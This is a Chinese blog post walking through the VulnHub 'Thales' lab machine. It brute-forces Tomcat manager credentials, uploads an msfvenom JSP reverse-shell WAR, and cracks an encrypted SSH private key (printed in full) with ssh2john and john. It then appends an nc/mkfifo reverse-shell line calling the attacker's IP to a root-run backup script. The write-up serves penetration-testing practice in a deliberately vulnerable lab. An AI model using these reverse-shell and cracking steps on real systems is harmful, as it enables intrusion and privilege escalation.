靶机渗透练习12-Thales

靶机描述

靶机地址:https://www.vulnhub.com/entry/thales-1,749/

Description

Description : Open your eyes and change your perspective

includes 2 flags:user.txt and root.txt.

Telegram: @machineboy141 (for any hint)

This works better with VIrtualBox rathe than VMware

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.16

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

image-20220119152046785

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

image-20220119152142606

开放了

22---ssh---OpenSSH 7.6p1

8080---http---Apache Tomcat 9.0.52

2.2枚举漏洞

22 端口分析

一般只能暴力破解,暂时没有合适的字典

8080端口分析

访问 8080 端口

发现是个 tomcat 页面,有登录窗口

image-20220119152709864

使用msf爆破一下

image-20220119152857998

image-20220119153016025

image-20220119153031706

成功拿到账户密码

tomcat:role1

2.3漏洞利用

登录上去后,直接找到部署war文件位置,可以发现可以上传文件

image-20220119153545647

这里咱们去HackTricks-Tomcat 中去查看反弹shell的相关使用方法

这里咱们使用msfvenom

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.9.7 LPORT=6666 -f war -o revshell.war

image-20220119153937384将生成的文件上传至靶机‘

本地进行监听nc -lvp 6666

然后浏览器进行访问

image-20220119154142493

成功拿到shell

image-20220119154214265

切换至交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

2.4权限提升

信息收集

sudo -l发现需要密码,且不是刚才爆破出来的密码

进入home目录下发现一用户thales

进入用户目录下查看是否有利用信息

tomcat@miletus:/home/thales$ ll -al
ll -al
total 52
drwxr-xr-x 6 thales thales 4096 Oct 14 11:28 ./
drwxr-xr-x 3 root   root   4096 Aug 15 16:56 ../
-rw------- 1 thales thales  457 Oct 14 11:30 .bash_history
-rw-r--r-- 1 thales thales  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 thales thales 3771 Apr  4  2018 .bashrc
drwx------ 2 thales thales 4096 Aug 15 16:58 .cache/
drwx------ 3 thales thales 4096 Aug 15 16:58 .gnupg/
drwxrwxr-x 3 thales thales 4096 Aug 15 17:50 .local/
-rw-r--r-- 1 root   root    107 Oct 14 09:36 notes.txt
-rw-r--r-- 1 thales thales  807 Apr  4  2018 .profile
-rw-r--r-- 1 root   root     66 Aug 15 17:50 .selected_editor
drwxrwxrwx 2 thales thales 4096 Aug 16 20:34 .ssh/
-rw-r--r-- 1 thales thales    0 Oct 14 10:45 .sudo_as_admin_successful
-rw------- 1 thales thales   33 Aug 15 18:18 user.txt
tomcat@miletus:/home/thales$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
tomcat@miletus:/home/thales$ ls  
ls
notes.txt  user.txt
tomcat@miletus:/home/thales$ cat notes.txt
cat notes.txt
I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck.
tomcat@miletus:/home/thales$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
tomcat@miletus:/home/thales$ 

notes.txt文件中发现/usr/local/bin/backup.sh

查看该文件内容

tomcat@miletus:/home/thales$ cat /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh
#!/bin/bash
####################################
#
# Backup to NFS mount script.
#
####################################

# What to backup. 
backup_files="/opt/tomcat/"

# Where to backup to.
dest="/var/backups"

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"
date

# Long listing of files in $dest to check file sizes.
ls -lh $dest

发现backup.sh文件可以运行系统指令

除此之外还发现了 .ssh 文件夹,

tomcat@miletus:/home/thales/.ssh$ cat id_rsa    
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6103FE9ABCD5EF41F96C07F531922AAF

ZMlKhm2S2Cqbj+k3h8MgQFr6oG4CBKqF1NfT04fJPs1xbXe00aSdS+QgIbSaKWMh
+/ILeS/r8rFUt9isW2QAH7JYEWBgR4Z/9KSMSUd1aEyjxz7FpZj2cL1Erj9wK9ZA
InMmkm7xAKOWKwLTJeMS3GB4X9AX9ef/Ijmxx/cvvIauK5G2jPRyGSazMjK0QcwX
pkwnm4EwXPDiktkwzg15RwIhJdZBbrMj7WW9kt0CF9P754mChdIWzHrxYhCUIfWd
rHbDYTKmfL18LYhHaj9ZklkZjb8li8JIPvnJDcnLsCY+6X1xB9dqbUGGtSHNnHiL
rmrOSfI7RYt9gCgMtFimYRaS7gFuvZE/NmmIUJkH3Ccv1mIj3wT1TCtvREv+eKgf
/nj+3A6ZSQKFdlm22YZBilE4npxGOC03s81Rbvg90cxOhxYGTZMu/jU9ebUT2HAh
o1B972ZAWj3m5sDZRiQ+wTGqwFBFxF9EPia6sRM/tBKaigIElDSyvz1C46mLTmBS
f8KNwx5rNXkNM7dYX1Sykg0RreKO1weYAA0yQSHCY+iJTIf81CuDcgOIYRywHIPU
9rI20K910cLLo+ySa7O4KDcmIL1WCnGbrD4PwupQ68G2YG0ZOOIrwE9efkpwXPCR
Vi2TO2Zut8x6ZEFjz4d3aWIzWtf1IugQrsmBK+akRLBPjQVy/LyApqvV+tYfQelV
v9pEKMxR5f1gFmZpTbZ6HDHmEO4Y7gXvUXphjW5uijYemcyGx0HSqCSER7y7+phA
h0NEJHSBSdMpvoS7oSIxC0qe4QsSwITYtJs5fKuvJejRGpoh1O2HE+etITXlFffm
2J1fdQgPo+qbOVSMGmkITfTBDh1ODG7TZYAq8OLyEh/yiALoZ8T1AEeAJev5hON5
PUUP8cxX4SH43lnsmIDjn8M+nEsMEWVZzvaqo6a2Sfa/SEdxq8ZIM1Nm8fLuS8N2
GCrvRmCd7H+KrMIY2Y4QuTFR1etulbBPbmcCmpsXlj496bE7n5WwILLw3Oe4IbZm
ztB5WYAww6yyheLmgU4WkKMx2sOWDWZ/TSEP0j9esOeh2mOt/7Grrhn3xr8zqnCY
i4utbnsjL4U7QVaa+zWz6PNiShH/LEpuRu2lJWZU8mZ7OyUyx9zoPRWEmz/mhOAb
jRMSyfLNFggfzjswgcbwubUrpX2Gn6XMb+MbTY3CRXYqLaGStxUtcpMdpj4QrFLP
eP/3PGXugeJi8anYMxIMc3cJR03EktX5Cj1TQRCjPWGoatOMh02akMHvVrRKGG1d
/sMTTIDrlYlrEAfQXacjQF0gzqxy7jQaUc0k4Vq5iWggjXNV2zbR/YYFwUzgSjSe
SNZzz4AMwRtlCWxrdoD/exvCeKWuObPlajTI3MaUoxPjOvhQK55XWIcg+ogo9X5x
B8XDQ3qW6QJLFELXpAnl5zW5cAHXAVzCp+VtgQyrPU04gkoOrlrj5u22UU8giTdq
nLypW+J5rGepKGrklOP7dxEBbQiy5XDm/K/22r9y+Lwyl38LDF2va22szGoW/oT+
8eZHEOYASwoSKng9UEhNvX/JpsGig5sAamBgG1sV9phyR2Y9MNb/698hHyULD78C
-----END RSA PRIVATE KEY-----

发现有私钥,那就可以用 ssh2john.py 生成密码文件然后爆破,保存秘钥到本地

ssh2john.py 脚本编译一下

/usr/share/john/ssh2john.py id_rsa > crack.txt

爆破:

john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

image-20220119162123510

成功爆破出密码为vodka06

尝试ssh,失败,看来只能通过反弹shell切换用户了

image-20220119162329792

切换用户成功,查看一下home目录下的信息

image-20220119162627986

image-20220119162947706

这个user.txt按照经验,应该是一个假的flag

而另一个文件则是root运行的,说明这个是个突破口

image-20220119163412304

也就是说,文件中提到的/usr/local/bin/backup.sh可以利用

image-20220119163734698

我们可以看到,可读可写,咱们可以给该文件追加一个反弹shell

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.9.7 666 >/tmp/f" >> backup.sh

image-20220119164122227

添加完成后,kali上监听nc -lvp 666,不一会儿就成功拿到shell,并在root目录下发现root.txt

md5解密失败,但这应该就是最终flag了

image-20220119164041822

总结

这个靶机在tomcat靶机中算是比较经典了

  1. tomcat弱口令利用,文件上传漏洞(war包)
  2. ssh2john.py的使用
  3. john 的使用
  4. 常规提权思路
posted @ 2022-04-01 21:08  hirak0  阅读(94)  评论(0编辑  收藏  举报